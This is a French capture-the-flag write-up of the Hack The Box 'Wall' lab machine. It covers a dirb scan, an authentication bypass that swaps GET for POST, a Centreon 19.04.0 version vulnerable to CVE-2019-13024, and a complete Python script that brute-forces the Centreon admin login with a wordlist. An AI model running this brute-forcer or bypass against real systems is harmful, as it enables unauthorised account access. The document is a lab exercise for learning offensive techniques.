L’url http://10.10.10.157/ mène sur la page par défaut d’Apache sous Ubuntu
Nmap nous dit que les ports 22 ssh et 80 http sont ouverts
Énumérons les dossiers:
root@Host-001:~# dirb http://10.10.10.157
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Thu Oct 3 18:19:32 2019
URL_BASE: http://10.10.10.157/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.157/ ----
+ http://10.10.10.157/index.html (CODE:200|SIZE:10918)
+ http://10.10.10.157/monitoring (CODE:401|SIZE:459)
+ http://10.10.10.157/server-status (CODE:403|SIZE:300)
-----------------
END_TIME: Thu Oct 3 18:20:44 2019
DOWNLOADED: 4612 - FOUND: 3
Se rendre sur http://10.10.10.157/monitoring
Nous avons une authentification .htaccess
Bypasser l’authentification en utilisant POST à la place de GET dans la requête avec Burp
On est reconduit sur la page
On tombe sur une page de login de Centreon v. 19.04.0
Cette version de Centreon est vulnerable CVE 2019-13024:
- https://www.akaoma.com/ressources/cve/code-execution/cve-2019-13024
- https://shells.systems/centreon-v19-04-remote-code-execution-cve-2019-13024/
Utilisons l’exploit pour cette CVE: https://gist.github.com/mhaskar/c4255f6cf45b19b8a852c780f50576da
Pour utiliser cet exploit il faut avoir les bons credentials.
Les credentials par défault admin::centreon ne fonctionnent pas pour la page http. Idem root::centreon ne fonctionne pas pour la connection SSH. Ref: https://documentation.centreon.com/docs/centreon/en/latest/installation/from_VM.html
Brute-forcer les credentials avec Hydra. Faux positif pour le compte admin sur la page http.
Script maison bruteForceCentreon.py:
#!/usr/bin/python3
#Custom script to crack credentials from Centreon login form (HTB: Wall machine)
#Inspired from: https://gist.github.com/mhaskar/c4255f6cf45b19b8a852c780f50576da
import requests
import sys
import warnings
from bs4 import BeautifulSoup
fd = open("/usr/share/wordlists/rockyou.txt", "rb")
passwd_list = fd.readlines()
fd.close()
for password in passwd_list:
print("[+] Trying:" + password)
request = requests.session()
print("[+] Retrieving CSRF token to submit the login form")
page = request.get("http://10.10.10.157/centreon/index.php")
html_content = page.text
soup = BeautifulSoup(html_content)
token = soup.findAll('input')[3].get("value")
login_info = {
"useralias": "admin",
"password": password,
"submitLogin": "Connect",
"centreon_token": token
}
login_request = request.post("http://10.10.10.157/centreon/index.php", login_info)
print("[+] Login token is : {0}".format(token))
if "Your credentials are incorrect." not in login_request.text:
print("[+] Logged In Sucssfully. Password is: " + password)
exit()
else:
print("[-] Wrong credentials")
Lancer le script:
root@Host-001:~/Bureau# python bruteForceCentreon.py
Résultat:
(…)
[+] Retrieving CSRF token to submit the login form
[+] Login token is : 7335bffb040efca5cf401759956e8768
[-] Wrong credentials
[+] Trying:rock you
[+] Retrieving CSRF token to submit the login form
[+] Login token is : 06d5023d6c9d373d9e44aa0c4dae7a9a
[+] Logged In Sucssfully. Password is: rock you
On essaye de se loguer avec admin::rock you mais on tombe sur une erreur 403
On modifie le script et on se rend compte que n’importe quel mdp avec un espace ou un # dedans renvoie une erreur 403
Poursuivez avec :
- Oneliner Shells - HTB - Write Up Machine
This work is licensed under a Creative Commons Attribution 4.0 International License.